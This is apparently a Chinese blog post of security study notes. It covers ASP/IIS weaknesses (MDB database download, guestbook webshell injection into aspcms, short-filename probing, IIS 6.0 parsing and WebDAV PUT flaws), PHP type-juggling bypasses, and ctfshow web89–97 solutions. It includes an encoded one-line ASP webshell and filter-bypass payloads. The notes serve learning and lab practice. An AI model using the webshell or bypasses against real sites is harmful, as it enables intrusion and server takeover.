安全基础~web攻防特性1

这篇具有很好参考价值的文章主要介绍了安全基础~web攻防特性1。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

知识补充

使用thinkphp开发的框架,其首页访问指向public目录,指向其中的index.php文件
安全基础~web攻防特性1,安全学习,安全,前端,android
安全基础~web攻防特性1,安全学习,安全,前端,android
指向的index.php打开网页后是如下情况,代码如下
定义应用目录,是将文件首页展示在上图的application目录下,其下有index.php文件

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

安全基础~web攻防特性1,安全学习,安全,前端,android
application目录index.php文件
安全基础~web攻防特性1,安全学习,安全,前端,android
thinkphp框架首页访问的目录
安全基础~web攻防特性1,安全学习,安全,前端,android
想要得到的目录与首页的关系
http://127.0.0.1:8088/index.php/index/index/index
index.php为应用入口的文件,接着为index目录,index类(模块),index方法;

所以在一下目录创建另一个类,访问时,更换后面的方法即可。访问页面变为1index字符串
http://127.0.0.1:8088/index.php/index/index/ix
安全基础~web攻防特性1,安全学习,安全,前端,android
http://127.0.0.1:8088/index.php/index/ceshi/test

安全基础~web攻防特性1,安全学习,安全,前端,android
HTTP 常见方法
文件路径的正斜杠(/)与反斜杠(\)

ASP安全

Microsoft Active Server Pages(ASP)是服务器端脚本编写环境。
主要包含MDB下载植入&IIS短文件名&写权限&解析

环境搭建组合windows iis  asp  access/sql server

主要包含ASP-数据库-MDB默认下载access数据库一般后缀名mdb(下载)、asp 、asa (执行解析)
mdb文件在网站目录下,思路:如果知道数据库的地址,可尝试下载获取数据库文件,获取当前管理员账号密码信息。
默认下载:使用asp+access数据库,却不修改默认mdb地址。IIS不能解析MDB文件,当成普通文件下载。(文件服务器端不会解释,客户端浏览器也不会解释,所以就下载到本地。)
思路:位置地址:如果没有修改默认数据库文件位置可尝试默认数据库配置(即本地搭建后默认存放的数据库文件与其他文件位置(比如admin后台管理页面等),没修改。)或采用扫描

ASP-数据库-ASP后门植入连接数据库是asp,asp可解析,向asp数据库文件写入一句话木马可以直接连上去,此时访问数据库文件将会被服务器当成代码文件执行,所以图片里面的代码就会被执行。
以aspcms为例:
aspcms主要是信息发布系统,数据库默认配置为asp,目录在/data/data.asp下。
漏洞成因:在留言板处对信息处理不当,导致代码注入。可直接将一句话木马插入数据库。
利用方法:保证默认数据库路径未更改且可留言。

┼攠數畣整爠煥敵瑳∨≡┩愾

ASP-中间件-IIS短文件名探针-安全漏洞为兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
在Windows下查看对应的短文件名,可以使用命令 dir /x
短文件名特征:

\1) 只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。
\2) 后缀名最长只有3位,多余的被截断。
\3) 访问构造的某个存在的短文件名,会返回404
\4) 访问构造的某个不存在的短文件名,会返回400

ASP-中间件-IIS文件上传解析-安全漏洞在 Windows 2003 IIS 6.0 下有两个漏洞,IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式,这就引发了IIS目录解析漏洞和文件名解析漏洞。
目录解析:对于名字为**.asp后缀的文件夹**,IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。
文件名解析:对于名字诸如a.asp;.jpg文件,IIS并非以最后一个后缀名来判断格式,故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。

ASP-中间件-IIS配置目录读写-安全配置在web服务扩展中开启了WebDAV,配置了可以写入的权限,存在PUT任意文件写入漏洞。

web之ASP安全参考文章
小迪讲解参考
复现靶场应用:墨者_IIS写权限漏洞分析溯源

Aspx安全分析与未授权访问

未授权访问
判断用户的身份(后台有多个功能性的文件页面):

  1. 在每个文件里添加验证的代码,通常为cookie
  2. 创建一个专门的文件用于判断,其它验证文件包含它

找未授权访问

  1. 找那些没有包含验证代码的文件
  2. 判断验证代码是否有绕过的可能

.net是c#的框架,其源码反编译,课直接拖进ILSpy中。
aspx开发网站会存在信息泄露,在网站根目录下的web.config配置文件中customError设置,导致报错信息造成的信息泄露。

ASP.NET审计参考

php特性&web89~97

  • =====的区别:https://blog.csdn.net/qq_63792137/article/details/127594787
    弱=时,不比较类型,如==1时,1.0,+1,1a等都一样
    强=时,必须数据类型也一样
  • MD5 =====的比较
    若=用0e绕过,强=用数组绕过
  • intval缺陷绕过 int intval ( mixed $var [, int $base = 10 ] )
    php中intval函数 是用于获取变量的整数值,当后面的base为0时,可根据输入的进制数转为10进制。
    echo intval(4.2);                     // 4
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    echo intval(1e10);                    // 10000000000
    echo intval(1e10);                    // 10000000000
    echo intval('1e10');                  // 10000000000
    echo intval(0x1A);                    // 26
    echo intval(42000000);                // 42000000
    echo intval(420000000000000000000);   // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8);                   // 42
    echo intval('42', 8);                 // 34
    echo intval(array());                 // 0
    echo intval(array('foo', 'bar'));     // 1
    
  • strpos()函数,查找字符串在另一字符串中第一次出现的位置(区分大小写)
    安全基础~web攻防特性1,安全学习,安全,前端,android
    可以利用换行进行绕过(%0a)url编码是回车换行,当返回的位置为0时,if判断也是false,所以输出的也是false。
  • in_array第三个参数安全
    bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )搜索数组中是否存在指定的值。
    第三个参数为true时,检查搜索的数据与数组的值的类型是否相同。
    安全基础~web攻防特性1,安全学习,安全,前端,android安全基础~web攻防特性1,安全学习,安全,前端,android
    PHP代码审计04之strpos函数使用不当
  • preg_match:用于执行一个全局正则表达式匹配
    preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
    /i:不区分大小写
    /m:换行匹配
    安全基础~web攻防特性1,安全学习,安全,前端,android
  • str_replace:其他字符替换字符串中的一些字符,开发中用于过滤某些字符串
    但是其仅仅只过滤一次,所以可以双写进行绕过
    安全基础~web攻防特性1,安全学习,安全,前端,android

靶场练习ctfshow

web89:数组绕过

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

pyload:?num[]=1

web90:强类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload:?num=4476.0或0x117c

web91:/m换行匹配

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

pyload:?cmd=%0aphp

web92:弱类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload:?num=4476.1abc

web93:弱类型,过滤字母

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload:?num=4476.1或8进制绕过

web94:强类型,必须为整数,判断传入是否有0

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

pyload:?num=%20010574或用%0a绕过(20为空格)

web95:与上题一样,多过滤了一个“.”

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

pyload:?num=%20010574或用%0a绕过(20为空格)

web96:访问当前目录文件

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

pyload:?u=./flag.php

web97:MD5强=绕过

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

pyload:a[]=1&b[]=s
文章来源地址https://www.toymoban.com/news/detail-815670.html

到了这里,关于安全基础~web攻防特性1的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 红蓝攻防基础-认识红蓝紫,初步学习网络安全属于那个队?

    红队,也叫蓝军是指网络实战攻防演练中的攻击一方,以发现系统薄弱环节、提升系统安全性为目标,一般会针对目标单位的从业人员以及目标系统所在网络内的软件、硬件设备执行多角度、全方位、对抗性的混合式模拟攻击,通过技术手段实现系统提权、控制业务、获取数

    2024年02月13日
    浏览(51)
  • 零基础自学网络安全/网络渗透攻防路线学习方法【建议收藏】

    1.这是一条坚持的道路,三分钟的热情可以放弃往下看了. 2.多练多想,不要离开了教程什么都不会了.最好看完教程自己独立完成技术方面的开发. 3.有时多google,baidu,我们往往都遇不到好心的大神,谁会无聊天天给你做解答. 4.遇到实在搞不懂的,可以先放放,以后再来解决. 1.web安全方

    2024年02月03日
    浏览(72)
  • day31WEB攻防-通用漏洞&文件上传&js验证&mime&user.ini&语言特性

    目录 1.JS验证 2.JS验证+MIME  3.JS验证+.user.ini  4.JS验证+.user.ini+短标签 (ctfshow154,155关) 5.JS验证+.user.ini+短标签+过滤 [ ] 6.JS验证+.user.ini+短标签+加过滤+文件头 有关文件上传的知识 1.为什么文件上传存在漏洞        上传文件时,如果服务瑞代码未对客户端上传的文件进行严

    2024年01月25日
    浏览(50)
  • Web前端安全学习-CSRF

    今天下午上了一堂前端安全的课,挺有意思,记录下来。在上课之前,我对安全的概念是: 用户输入是不可信的,所有用户的输入都必须转义之后才入库。 然后,上面这个这种方式,仅仅是防止SQL注入攻击,避免业务数据库被渗入。 在数据库有了一层安全保护之后,攻击者

    2024年02月02日
    浏览(48)
  • 建议收藏 - 必须知道的4个前端安全编码规范,0基础web前端开发

    2.构造GET和POST请求 若某攻击者想删除某网站的一篇文章,首先获得当前文章的id,然后通过使用脚本 插入图片 发送一个 GET请求 ,或 构造表单 , XMLHTTPRequest 发送 POST请求 以达到删除该文章的目的 3.XSS钓鱼 钓鱼 这个词一般认识是起源于 社会工程学 ,黑客使用这个这门学科

    2024年04月22日
    浏览(40)
  • Web安全攻防世界06 easyupload

    这道题我挣扎了很久,还是没有解出来,详细 错误 解题思路可以参考另一篇博文~(#_-) CTF 总结01:文件上传绕过_梅头脑_的博客-CSDN博客 ↑博文很啰嗦地讲述了我用蚁剑连接一句话木马花式写法的各种失败姿势,面对文件上传一步一个坑的绝望心态,欢迎同伴围观、吐槽和指

    2024年02月07日
    浏览(41)
  • 前端零基础学习web3开发

    目录 1 钱包 2 发起交易 3 出块 4 块高 5 矿工 6 Gas费  这一节,我们不说让人神往的比特币,不说自己会不会利用这个虚拟的货币来发财,也不说那些模模糊糊的知识,什么去中心化啦,什么奇妙的加密啦,我们就说一说,如果你是一名前端开发人员,某一天来了一个web3项目,

    2024年04月13日
    浏览(39)
  • Web 攻防之业务安全:验证码绕过测试.

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 验证码绕过测试

    2023年04月10日
    浏览(43)
  • Web 攻防之业务安全:输入 / 输出模块测试.

    业务安全是指保护业务系统免受安全威胁的措施或手段。 广义 的业务安全应包括业务运行的 软硬件平台 (操作系统、数据库,中间件等)、 业务系统自身 (软件或设备)、 业务所提供的服务安全 ; 狭义 的业务安全指 业务系统自有的软件与服务的安全 。 输入 / 输出模块

    2023年04月24日
    浏览(42)
  • Web安全攻防世界05 easyphp(江苏工匠杯)

    题目是这个样子的: 发现自己编辑的东西有一部分没有被发出来,怪不得阅读量低到可怜...现在重新补上一些内容,解题过程很罗嗦,对小白依然友好~ 按照惯例,把源码贴在这里逐行分析一下~ 解题思路如下: 整个题目就是单纯地在考验php语法,并且每个变量输错了都有不同

    2024年02月13日
    浏览(47)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包